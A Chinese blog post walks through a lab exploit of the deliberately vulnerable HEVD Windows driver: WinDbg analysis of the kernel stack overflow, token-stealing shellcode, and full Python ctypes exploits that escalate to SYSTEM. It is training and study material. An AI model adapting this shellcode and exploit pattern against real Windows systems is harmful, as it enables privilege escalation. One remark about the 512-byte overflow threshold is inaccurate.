win_kernel_exp_1 发表于 2025-03-20 更新于 2025-05-08
字数总计: 5.4k 阅读时长: 24分钟 中国
环境配置 首先将目标机器调成debug模式:
1 2 3 4 5 C:\Windows\system32>bcdedit /copy {current} /d "Kernel Debugging On" The entry was successfully copied to {自动生成的id}. C:\Windows\system32>bcdedit /debug {自动生成的id} on The operation completed successfully.
用COM pipe串行端口配置双机调试。
在目标机器上配置好HEVD驱动后有个坑,windbg里的HEVD的符号表必须配置C:\projects\hevd\build\driver\vulnerable\x86\HEVD\HEVD.pdb
,按照习惯配置SRV*path*
不行。
此时就可以看到HEVD驱动的symbol载入了:
1 2 3 4 5 6 7 8 9 10 11 12 0: kd> x /D HEVD!a* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 9659e4f0 HEVD!AllocateFakeObjectNonPagedPoolNx (void) 9659e11c HEVD!AllocateFakeObjectNonPagedPool (void) 9659e236 HEVD!AllocateUaFObjectNonPagedPool (void) 9659e734 HEVD!AllocateUaFObjectNonPagedPoolNxIoctlHandler (void) 9659cbce HEVD!ArbitraryWriteIoctlHandler (void) 9659e216 HEVD!AllocateFakeObjectNonPagedPoolIoctlHandler (void) 9659e5ee HEVD!AllocateFakeObjectNonPagedPoolNxIoctlHandler (void) 9659e60e HEVD!AllocateUaFObjectNonPagedPoolNx (void) 9659e35a HEVD!AllocateUaFObjectNonPagedPoolIoctlHandler (void)
内核常用的两个函数 和设备驱动交互的句柄通过createFileA
获得:
1 2 3 4 5 6 7 8 9 HANDLE CreateFileA ( [in] LPCSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile ) ;
获得句柄后使用deviceIoControl
函数获得设备的输入和输出控制(IOCTL)接口:
1 2 3 4 5 6 7 8 9 10 BOOL DeviceIoControl ( [in] HANDLE hDevice, [in] DWORD dwIoControlCode, [in, optional] LPVOID lpInBuffer, [in] DWORD nInBufferSize, [out, optional] LPVOID lpOutBuffer, [in] DWORD nOutBufferSize, [out, optional] LPDWORD lpBytesReturned, [in, out, optional] LPOVERLAPPED lpOverlapped ) ;
简单调试一下DriverEntry 重启机器后break在HEVD的DriverEntry
函数:
1 2 3 4 5 6 7 8 9 10 11 12 kd> bu HEVD!DriverEntry kd> kd> lm m H* start end module name 82e44000 82e7a000 hal (deferred) 8ba00000 8ba08000 hwpolicy (deferred) kd> g KDTARGET: Refreshing KD connection Breakpoint 0 hit Breakpoint 1 hit HEVD!DriverEntry: 96c7f000 55 push ebp
看一下IoCreateSymbolicLink
的调用,call它的地址的最后1.5个字节是0xB4
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 3: kd> bu 96c7f0b4 3: kd> u 96c7f0b4 HEVD!DriverEntry+0xb4 [c:\projects\hevd\driver\hevd\hacksysextremevulnerabledriver.c @ 147]: 96c7f0b4 ff151090c396 call dword ptr [HEVD!_imp__IoCreateSymbolicLink (96c39010)] 96c7f0ba 8b350490c396 mov esi,dword ptr [HEVD!_imp__DbgPrintEx (96c39004)] 96c7f0c0 8bf8 mov edi,eax 96c7f0c2 6812f2c796 push offset HEVD! ?? ::PBOPGDP::`string' (96c7f212) 96c7f0c7 68aef3c796 push offset HEVD! ?? ::PBOPGDP::`string' (96c7f3ae) 96c7f0cc 6a03 push 3 96c7f0ce 6a4d push 4Dh 96c7f0d0 ffd6 call esi 3: kd> g Breakpoint 3 hit HEVD!DriverEntry+0xb4: 96c7f0b4 ff151090c396 call dword ptr [HEVD!_imp__IoCreateSymbolicLink (96c39010)] 3: kd> r eax=8d7be9bc ebx=86e0a030 ecx=00000000 edx=85645240 esi=00000000 edi=86e0a0d8 eip=96c7f0b4 esp=8d7be9a0 ebp=8d7be9c8 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 HEVD!DriverEntry+0xb4: 96c7f0b4 ff151090c396 call dword ptr [HEVD!_imp__IoCreateSymbolicLink (96c39010)] ds:0023:96c39010={nt!IoCreateSymbolicLink (82beab70)} 3: kd> dd esp L1 8d7be9a0 8d7be9bc 3: kd> dS 8d7be9bc 96c7f182 "\DosDevices\HackSysExtremeVulner" 96c7f1c2 "ableDriver"
IoCreateSymbolicLink
函数调用:
1 2 3 4 5 6 7 8 9 10 11 NTSTATUS IoCreateSymbolicLink ( [in] PUNICODE_STRING SymbolicLinkName, [in] PUNICODE_STRING DeviceName ) ;
可以看到这个函数的第一个参数即DosDeviceName
(用户模式下的符号链接名称)是\DosDevices\HackSysExtremeVulnerableDriver
,前缀\DosDevices
我们可以忽略,当要访问该设备时,只需要访问\\.\HackSysExtremeVulnerableDriver
既可,\\.\
就是win32的设备的用户空间。
驱动结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags; PVOID DriverStart; ULONG DriverSize; PVOID DriverSection; PDRIVER_EXTENSION DriverExtension; UNICODE_STRING DriverName; PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1 ]; } DRIVER_OBJECT, *PDRIVER_OBJECT;
HEVD会将IRP功能设置为IRP_MJ_DEVICE_CONTROL
,即处理IOCTL(I/O控制)请求,并将其指向IrpDeviceIoCtlHandler
函数:
1 2 3 4 5 6 7 8 9 10 11 12 memset32 (DriverObject->MajorFunction, IrpNotImplementedHandler, 0x1C u);DriverObject->MajorFunction[0xE ] = IrpDeviceIoCtlHandler; DriverObject->MajorFunction[2 ] = IrpCreateCloseHandler;
x86栈溢出(无canary) 这道题的核心就是通过溢出获得system权限,简单来说就是让eip指向的shellcode的主要作用就是将当前线程的token替换成system的token。
溢出的关键代码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 memset (KernelBuffer, 0 , sizeof (KernelBuffer));ms_exc.registration.TryLevel = 0 ; ProbeForRead (UserBuffer, 0x800 u, 1u );memcpy (KernelBuffer, UserBuffer, Size);
靶机上的测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import structimport osfrom ctypes import *GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x00000003 FILE_ATTRIBUTE_NORMAL = 0x00000080 NULL = None def main (): kernel32 = windll.kernel32 hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver" , (GENERIC_READ | GENERIC_WRITE), 0x00 , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) if (hHEVD == -1 ): print ("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n" ) exit(-1 ) buffer = "wetw0rk" print ("[*] Calling control code 0x222003" ) kernel32.DeviceIoControl(hHEVD, 0x222003 , buffer, len (buffer), NULL, 0x00 , byref(c_ulong()), NULL) main()
在BufferOverflowStackIoctlHandler
调用中,这里需要看一下使用的第二个参数是什么,即_IO_STACK_LOCATION *IrpSp
结构体:
1 2 3 4 5 v2 = 0xC0000001 ; Parameters = IrpSp->Parameters.CreatePipe.Parameters; if ( Parameters ) return TriggerBufferOverflowStack (Parameters, IrpSp->Parameters.Create.Options); return v2;
断点以后的栈帧情况:
1 2 3 4 5 3 : kd> dd esp L595a1fac4 998780ba 86ebe888 86ebe8f8
_IO_STACK_LOCATION
结构体解析一下:
1 2 3 4 5 6 7 8 9 10 11 3 : kd> dt _IO_STACK_LOCATION 86ebe8f8 ntdll!_IO_STACK_LOCATION +0x000 MajorFunction : 0xe '' +0x001 MinorFunction : 0 ' ' +0x002 Flags : 0x5 ' ' +0x003 Control : 0 ' ' +0x004 Parameters : <unnamed-tag> +0x014 DeviceObject : 0x86d258b0 _DEVICE_OBJECT +0x018 FileObject : 0x86c29290 _FILE_OBJECT +0x01c CompletionRoutine : (null) +0x020 Context : (null)
可以看到,这里的Parameters
指向了+0x004
,于是进一步看里面的内容:
1 2 3 4 5 6 7 8 3 : kd> dt _IO_STACK_LOCATION 86ebe8f8 Parameters. DeviceIoControl.ntdll!_IO_STACK_LOCATION +0x004 Parameters : +0x000 DeviceIoControl : +0x000 OutputBufferLength : 0 +0x004 InputBufferLength : 7 +0x008 IoControlCode : 0x222003 +0x00c Type3InputBuffer : 0x01b46200 Void
然后看buffer内容,也就是Type3InputBuffer
的内容:
1 2 3 4 5 6 7 8 9 3 : kd> db 0x01b46200 01b46200 77 00 65 00 74 00 77 00 -30 00 72 00 6b 00 00 00 w. e. t. w.0 . r. k... 01b46210 01 00 00 00 28 51 42 6a-02 00 00 00 88 37 6a 03 ....(QBj.....7j. 01b46220 40 62 b4 01 28 51 42 6a-01 00 00 00 e8 0d 78 34 @b..(QBj......x4 01b46230 01 00 00 00 28 51 42 6a-02 00 00 00 38 3b 6a 03 ....(QBj....8 01b46240 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................ 01b46250 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................ 01b46260 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................ 01b46270 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................
因此buffer的内容被作为IrpDeviceIoCtlHandler
函数的第二个参数结构体中的DeviceIoControl.Type3InputBuffer
传入到了漏洞触发的函数TriggerBufferOverflowStack
的第一个参数中,并最终导致了栈溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __stdcall TriggerBufferOverflowStack (void *UserBuffer, unsigned int Size) { unsigned __int8 KernelBuffer[2048 ]; CPPEH_RECORD ms_exc; memset (KernelBuffer, 0 , sizeof (KernelBuffer)); ms_exc.registration.TryLevel = 0 ; ProbeForRead (UserBuffer, 0x800 u, 1u ); _DbgPrintEx(0x4D u, 3u , "[+] UserBuffer: 0x%p\n" , UserBuffer); _DbgPrintEx(0x4D u, 3u , "[+] UserBuffer Size: 0x%X\n" , Size); _DbgPrintEx(0x4D u, 3u , "[+] KernelBuffer: 0x%p\n" , KernelBuffer); _DbgPrintEx(0x4D u, 3u , "[+] KernelBuffer Size: 0x%X\n" , 2048 ); _DbgPrintEx(0x4D u, 3u , "[+] Triggering Buffer Overflow in Stack\n" ); memcpy (KernelBuffer, UserBuffer, Size); return 0 ; }
在TriggerBufferOverflowStack
下断点可以看到进一步细节:
1 2 3 4 5 6 7 8 9 10 11 12 3 : kd> dd esp L59a41dab4 9926019a 00726200 00000007 9a41dadc 9a41dac4 9925f0ba 3 : kd> db 00726200 00726200 77 00 65 00 74 00 77 00 -30 00 72 00 6b 00 00 00 w. e. t. w.0 . r. k...00726210 01 00 00 00 28 51 f1 69 -02 00 00 00 88 37 e6 00 ....(Q. i.....7 ..00726220 40 62 72 00 28 51 f1 69 -01 00 00 00 b4 0d 78 34 @br.(Q. i......x400726230 01 00 00 00 28 51 f1 69 -02 00 00 00 38 3b e6 00 ....(Q. i....8 00726240 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................00726250 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................00726260 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................00726270 00 00 00 00 00 00 00 00 -00 00 00 00 00 00 00 00 ................
TriggerBufferOverflowStack
第一个参数即为宽字节存储的”wetw0rk”,第二个参数即为buffer的长度7。
因此这里只要让传入的buffer>512个字节,就会导致栈溢出,同时观察到buffer距离当前栈帧的ebp的距离为,0x81C,因此,构造的buffer的payload如下:
1 payload(2084 byte) = patch(2076 byte) + ebp(4 byte) + rop_addr(4 byte)
测试的poc即:
1 buffer = b"A" * 2080 + b"BCDE"
系统崩溃:
1 2 Access violation - code c0000005 (!!! second chance !!!) 45444342 ?? ???
后面只要把这里的b"BCDE"
改成ROP的地址即可。
由于在内核中进行exp,所以这里首先要提权,通常使用令牌窃取,即将目标进程的token改成系统的token。
x86下系统进程的token流程如下:
获得TEB在0x124处的_KTHREAD
结构体地址:
1 2 3 : kd> dd fs :[0x124 ]0030 :00000124 8d757000 00000000 8d757000 00000103
或者:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 3 : kd> !pcrKPCR for Processor 3 at 8d752000: Major 1 Minor 1 NtTib.ExceptionList: 8d7700fc NtTib.StackBase: 00000000 NtTib.StackLimit: 00000000 NtTib.SubSystemTib: 8d75bc00 NtTib.Version: 0001b390 NtTib.UserPointer: 00000008 NtTib.SelfTib: 00000000 SelfPcr: 8d752000 Prcb: 8d752120 Irql: 0000001f IRR: 00000000 IDR: ffffffff InterruptMode: 00000000 IDT: 8d75b000 GDT: 8d75b800 TSS: 8d75bc00 CurrentThread: 8d757000 NextThread: 00000000 IdleThread: 8d757000 DpcQueue:
在_KTHREAD
地址的0x40偏移处,是_KAPC_STATE
结构体:
1 2 3 4 5 6 7 3 : kd> dt _KAPC_STATE 8d757000+0x40 ntdll!_KAPC_STATE +0x000 ApcListHead : [2 ] _LIST_ENTRY [ 0x8d757040 - 0x8d757040 ] +0x010 Process : 0x856e5888 _KPROCESS +0x014 KernelApcInProgress : 0 '' +0x015 KernelApcPending : 0 ' ' +0x016 UserApcPending : 0 ' '
0x856e5888即_EPROCESS
地址,调试时这个也可以用如下方式获取:
1 2 3 4 3 : kd> !process 0 0 SystemPROCESS 856e5888 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 8c401b28 HandleCount: 546 . Image: System
_EPROCESS
结构体的0xf8偏移处就是token结构体地址:
1 2 3 : kd> dd 0x856e5888 +0xf8 856e5980 8c40124f 00000000 00000000 00000000
由于token结构体低三位是计数用的,所以实际解析结构体要将该地址&0xfffffff0:
1 dt _EX_FAST_REF 8c40124f&fffffff8
即:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 3 : kd> !token 8c40124f&fffffff8_TOKEN 8c401248 TS Session ID: 0 User: S-1 -5 -18 Groups: 00 S-1 -5 -32 -544 Attributes - Default Enabled Owner 01 S-1 -1 -0 Attributes - Mandatory Default Enabled 02 S-1 -5 -11 Attributes - Mandatory Default Enabled 03 S-1 -16 -16384 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1 -5 -18 Privs: 02 0x000000002 SeCreateTokenPrivilege Attributes - 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - 04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default 05 0x000000005 SeIncreaseQuotaPrivilege Attributes - 07 0x000000007 SeTcbPrivilege Attributes - Enabled Default 08 0x000000008 SeSecurityPrivilege Attributes - 09 0x000000009 SeTakeOwnershipPrivilege Attributes - 10 0x00000000a SeLoadDriverPrivilege Attributes - 11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default 12 0x00000000c SeSystemtimePrivilege Attributes - 13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default 14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default 15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default 16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default 17 0x000000011 SeBackupPrivilege Attributes - 18 0x000000012 SeRestorePrivilege Attributes - 19 0x000000013 SeShutdownPrivilege Attributes - 20 0x000000014 SeDebugPrivilege Attributes - Enabled Default 21 0x000000015 SeAuditPrivilege Attributes - Enabled Default 22 0x000000016 SeSystemEnvironmentPrivilege Attributes - 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default 25 0x000000019 SeUndockPrivilege Attributes - 28 0x00000001c SeManageVolumePrivilege Attributes - 29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default 30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default 31 0x00000001f SeTrustedCredManAccessPrivilege Attributes - 32 0x000000020 SeRelabelPrivilege Attributes - 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default 34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default 35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default Authentication ID: (0 ,3e7) Impersonation Level: Anonymous TokenType: PrimarySource: *SYSTEM* TokenFlags: 0x2000 ( Token in use )Token ID: 3ea ParentToken ID: 0 Modified ID: (0 , 3eb) RestrictedSidCount: 0 RestrictedSids: 00000000 OriginatingLogonSession: 0
官方的payload的提权代码分析如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 // Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET 0x124 // nt!_KPCR. PcrbData. CurrentThread: 当前线程指针相对于FS 段寄存器的偏移量 #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD. ApcState. Process: 进程结构体指针在_KTHREAD结构中的偏移量 #define PID_OFFSET 0x0B4 // nt!_EPROCESS. UniqueProcessId: 进程PID在_EPROCESS结构中的偏移量 #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS. ActiveProcessLinks. Flink: 活动进程链表的Flink字段在_EPROCESS结构中的偏移量 #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS. Token: 进程访问令牌在_EPROCESS结构中的偏移量 #define SYSTEM_PID 0x004 // SYSTEM Process PID: SYSTEM进程的固定PID为4 VOID TokenStealingPayloadWin7() { __asm { pushad xor eax , eax mov eax , fs :[eax + KTHREAD_OFFSET] mov eax , [eax + EPROCESS_OFFSET] mov ecx , eax mov edx , SYSTEM_PID SearchSystemPID: mov eax , [eax + FLINK_OFFSET] sub eax , FLINK_OFFSET cmp [eax + PID_OFFSET], edx jne SearchSystemPID mov edx , [eax + TOKEN_OFFSET] mov [ecx + TOKEN_OFFSET], edx popad xor eax , eax add esp , 12 pop ebp ret 8 } }
使用官方的python poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import structimport osfrom ctypes import *GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x00000003 FILE_ATTRIBUTE_NORMAL = 0x00000080 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 NULL = None def main (): kernel32 = windll.kernel32 hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver" , (GENERIC_READ | GENERIC_WRITE), 0x00 , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) if (hHEVD == -1 ): print ("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n" ) exit(-1 ) """ 0: 60 pusha 1: 31 c0 xor eax,eax 3: 64 8b 80 24 01 00 00 mov eax,DWORD PTR fs:[eax+0x124] a: 8b 40 50 mov eax,DWORD PTR [eax+0x50] d: 89 c1 mov ecx,eax f: ba 04 00 00 00 mov edx,0x4 14: 8b 80 b8 00 00 00 mov eax,DWORD PTR [eax+0xb8] 1a: 2d b8 00 00 00 sub eax,0xb8 1f: 39 90 b4 00 00 00 cmp DWORD PTR [eax+0xb4],edx 25: 75 ed jne 0x14 27: 8b 90 f8 00 00 00 mov edx,DWORD PTR [eax+0xf8] 2d: 89 91 f8 00 00 00 mov DWORD PTR [ecx+0xf8],edx 33: 61 popa """ shellcode = bytearray () shellcode += b'\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1' shellcode += b'\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00' shellcode += b'\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00' shellcode += b'\x89\x91\xf8\x00\x00\x00\x61' print ("[*] Allocating RWX memory" ) ptrMemory = kernel32.VirtualAlloc(NULL, len (shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE) print ("[*] Creating a char array to house shellcode" ) buffer = (c_char * len (shellcode)).from_buffer(shellcode) print ("[*] Copying shellcode array into RWX memory" ) kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len (shellcode)) ptrShellcode = struct.pack("<L" , ptrMemory) buffer = b"A" * 2080 buffer += ptrShellcode print ("[*] Calling control code 0x222003" ) kernel32.DeviceIoControl(hHEVD, 0x222003 , buffer, len (buffer), NULL, 0x00 , byref(c_ulong()), NULL) os.system("cmd.exe" ) main()
在TriggerBufferOverflowStack
返回的地方设置断点(offset=0x4527e),执行exp即可看到即将进入shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 2 : kd> dd esp L197133ab4 007e0000 2 : kd> dd esp L297133ab4 007e0000 0016d0b0 2 : kd> db 007e0000 007e0000 60 31 c0 64 8b 80 24 01 -00 00 8b 40 50 89 c1 ba `1.d..$....@P... 007e0010 04 00 00 00 8b 80 b8 00-00 00 2d b8 00 00 00 39 ..........-....9 007e0020 90 b4 00 00 00 75 ed 8b-90 f8 00 00 00 89 91 f8 .....u.......... 007e0030 00 00 00 61 00 00 00 00-00 00 00 00 00 00 00 00 ...a............ 007e0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 007e0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 007e0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 007e0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
看下遍历完进程链表的数据,此时ecx
存放了当前_EPROCESS
的地址了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 2 : kd> bu 007e00272 : kd> gBreakpoint 1 hit 007e0027 8b90f8000000 mov edx ,dword ptr [eax +0F8h ] 2 : kd> reax =856f0888 ebx =87111378 ecx =86a0d6d0 edx =00000004 esi =82ace17c edi =87111308 eip =007e0027 esp =97133aa0 ebp =41414141 iopl=0 nv up ei pl zr na pe nccs =0008 ss =0010 ds =0023 es =0023 fs =0030 gs =0000 efl=00000246 007e0027 8b90f8000000 mov edx ,dword ptr [eax +0F8h ] ds :0023 :856f0980=8c40124f 2 : kd> dt _EPROCESS 856f0888 -r Tokenntdll!_EPROCESS +0x0f8 Token : _EX_FAST_REF 2 : kd> !ThreadTHREAD 86cdfcd0 Cid 0e60.02e4 Teb: 7ffdf000 Win32Thread: fdc99378 RUNNING on processor 2 IRP List: 87111308 : (0006 ,0094 ) Flags: 00060000 Mdl: 00000000 Not impersonatingDeviceMap 927e44a8 Owning Process 86a0d6d0 Image: python. exe
后面直接把token替换即可。
但是这里因为最终没有修复ebp
,所以在shellcode后面需要按照原有的retn 0x8
修复一下ebp,即:
于是最终的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import structimport osfrom ctypes import *GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x00000003 FILE_ATTRIBUTE_NORMAL = 0x00000080 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 NULL = None def main (): kernel32 = windll.kernel32 hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver" , (GENERIC_READ | GENERIC_WRITE), 0x00 , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) if (hHEVD == -1 ): print ("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n" ) exit(-1 ) shellcode = bytearray () shellcode += b'\x60' shellcode += b'\x31\xc0' shellcode += b'\x64\x8b\x80\x24\x01\x00\x00' shellcode += b'\x8b\x40\x50' shellcode += b'\x89\xc1' shellcode += b'\xba\x04\x00\x00\x00' shellcode += b'\x8b\x80\xb8\x00\x00\x00' shellcode += b'\x2d\xb8\x00\x00\x00' shellcode += b'\x39\x90\xb4\x00\x00\x00' shellcode += b'\x75\xed' shellcode += b'\x8b\x90\xf8\x00\x00\x00' shellcode += b'\x89\x91\xf8\x00\x00\x00' shellcode += b'\x61' shellcode += b'\x5D' shellcode += b'\xC2\x08\x00' print ("[*] Allocating RWX memory" ) ptrMemory = kernel32.VirtualAlloc(NULL, len (shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE) print ("[*] Creating a char array to house shellcode" ) buffer = (c_char * len (shellcode)).from_buffer(shellcode) print ("[*] Copying shellcode array into RWX memory" ) kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len (shellcode)) ptrShellcode = struct.pack("<L" , ptrMemory) buffer = b"A" * 2080 buffer += ptrShellcode print ("[*] Calling control code 0x222003\n" ) kernel32.DeviceIoControl(hHEVD, 0x222003 , buffer, len (buffer), NULL, 0x00 , byref(c_ulong()), NULL) os.system("cmd.exe" ) main()